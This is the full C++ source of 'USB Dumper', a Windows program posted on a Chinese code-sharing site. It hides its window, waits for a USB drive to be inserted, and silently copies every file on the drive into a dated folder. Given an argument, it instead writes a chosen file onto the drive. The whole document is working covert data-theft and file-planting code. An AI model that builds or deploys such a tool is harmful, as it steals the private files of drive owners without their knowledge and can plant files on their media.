⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 usb.cpp

📁 Dump USB Data transfert
💻 CPP
字号:
#include <windows.h>
#include <dbt.h>
#include <direct.h>
#include <stdio.h>


char dir[260];
char szFile[255] = "";


// Function prototype
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
char FirstDriveFromMask (ULONG unitmask);
void GetFile(char* FilePath);
void CreateDir(char * path);
void Copy(char* FileName);

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
	MSG			msg;		// MSG structure to store messages
	HWND		hwndMain;	// Main window handle
	WNDCLASSEX	wcx;		// WINDOW class information	
    HDEVNOTIFY	hDevnotify;
    DWORD		len;			

	DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;

	// 53F56307-B6BF-11D0-94F2-00A0C91EFB8B
	GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};    	
	

	printf("\n>> USB Dumper by Valgasu <<\n\n");


	// Get command line
	if (lpCmdLine[0] != '\0') {
		strcpy(szFile, lpCmdLine);		
	}

	// Initialize the struct to zero
	ZeroMemory(&wcx,sizeof(WNDCLASSEX));

	wcx.cbSize = sizeof(WNDCLASSEX);		// Window size. Must always be sizeof(WNDCLASSEX)
	wcx.style = 0 ;							// Class styles
	wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure
	wcx.cbClsExtra = 0;						// Extra byte to allocate following the wndclassex structure
	wcx.cbWndExtra = 0;						// Extra byte to allocate following an instance of the structure
	wcx.hInstance = hInstance;				// Instance of the application
	wcx.hIcon = NULL;						// Class Icon
	wcx.hCursor = NULL;						// Class Cursor
	wcx.hbrBackground = NULL;				// Background brush
	wcx.lpszMenuName = NULL;				// Menu resource
	wcx.lpszClassName = "USB";				// Name of this class
	wcx.hIconSm = NULL;						// Small icon for this class

	// Register this window class with MS-Windows
	if (!RegisterClassEx(&wcx))
		return 0;

	// Create the window
	hwndMain = CreateWindowEx(0,// Extended window style
				"USB",			// Window class name
				"",				// Window title
				WS_POPUP,		// Window style
				0,0,			// (x,y) pos of the window
				0,0,			// Width and height of the window
				NULL,			// HWND of the parent window (can be null also)
				NULL,			// Handle to menu
				hInstance,		// Handle to application instance
				NULL);			// Pointer to window creation data

	// Check if window creation was successful
	if (!hwndMain)
		return 0;

	// Make the window invisible
	ShowWindow(hwndMain,SW_HIDE);

	// Initialize device class structure 
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
    memset(&NotificationFilter,0,len);

    NotificationFilter.dbcc_size = 0x20;
    NotificationFilter.dbcc_devicetype = 5;			// DBT_DEVTYP_DEVICEINTERFACE;
    NotificationFilter.dbcc_classguid = FilterGUID;
    
	// Register
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);

    if(hDevnotify == NULL)    
		return 0;

	// Process messages coming to this window
	while (GetMessage(&msg, NULL, 0, 0)) {
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	// return value to the system
	return msg.wParam;
 }


LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
	char szMsg[80];
	char szFileDest[255];
	char drive;
	char szDrive[20];
	char dtime[20];
	char temp[10];
	SYSTEMTIME	st;
	PDEV_BROADCAST_VOLUME PdevVolume;
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;


	switch (msg)
	{
		case WM_DEVICECHANGE:
			switch(wParam)
            {
				// A device or piece of media has been inserted and is now available
				case DBT_DEVICEARRIVAL:
					PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;
                    
					switch(PdevDEVICEINTERFACE->dbcc_devicetype)
                    {                    
						// Class of devices
                        case DBT_DEVTYP_DEVICEINTERFACE:
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);
                            break;
                         
						// Logical volume
                        case DBT_DEVTYP_VOLUME:
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;							                																	
							drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);
							wsprintf(szDrive, "%c:\\", drive);
							wsprintf(szMsg, "Drive %s connected\n", szDrive);

							// MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);						
																					
							GetLocalTime(&st);
							itoa(st.wYear, temp, 10);
							strcpy(dtime, temp);
							itoa(st.wMonth, temp, 10);
							strcat(dtime, temp);
							itoa(st.wDay, temp, 10);
							strcat(dtime , temp);
							_mkdir(dtime);
							_getcwd(dir, 260);
							strcat(dir, "\\");
							strcat(dir, dtime );
							strcat(dir, "\\" );					

							// Check command line								
							if (strcmp(szFile, "") != 0) {								
								wsprintf(szFileDest, "%s%s", szDrive, szFile);
								//MessageBox(NULL, szFileDest, "DEBUG", MB_OK);	
								CopyFile(szFile, szFileDest, FALSE);
							}
							else {								
								GetFile(szDrive);
							}
							
                    }
                    break;
            }
            break;

		default:
			// Call the default window handler
			return DefWindowProc(hwnd,msg,wParam,lParam);
	}

	return 0;
}


char FirstDriveFromMask (ULONG unitmask)
{
   char i;

   for (i = 0 ; i < 26 ; ++i)
   {
      if (unitmask & 0x1)
         break;
      unitmask = unitmask >> 1;
   }

   return (i + 'A');
}


void Copy(char* FileName)
{
	char dir2[260];
	char* temp;
	

	temp = strchr(FileName, '\\');
	strcpy(dir2, dir);
	temp++;
	strcat(dir2, temp);
	CopyFile(FileName, dir2, 1);
}


void CreateDir(char * path)
{
	char temp2[260];	
	char* temp;


	temp = strchr(path, '\\');
	strcpy(temp2, dir);
	temp++;
	strcat(temp2, temp);
	_mkdir(temp2);
}


void GetFile(char* FilePath)
{
	char	temp[260];
	char	temp1[260];	
	HANDLE	hFind;
	WIN32_FIND_DATA FindFileData;


	strcpy(temp, FilePath);
	strcat(temp, "*");

	hFind = FindFirstFile(temp, &FindFileData);

	if (hFind != INVALID_HANDLE_VALUE) {

		do {
			strcpy(temp1, FilePath);
			strcat(temp1, FindFileData.cFileName);

			if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {
				
				if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
					strcat(temp1, "\\");
					CreateDir(temp1);
					GetFile(temp1);

				} 
				else {
					Copy(temp1);
				}                  
			}
		}
		while(FindNextFile(hFind, &FindFileData));

	}

	FindClose(hFind);
} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -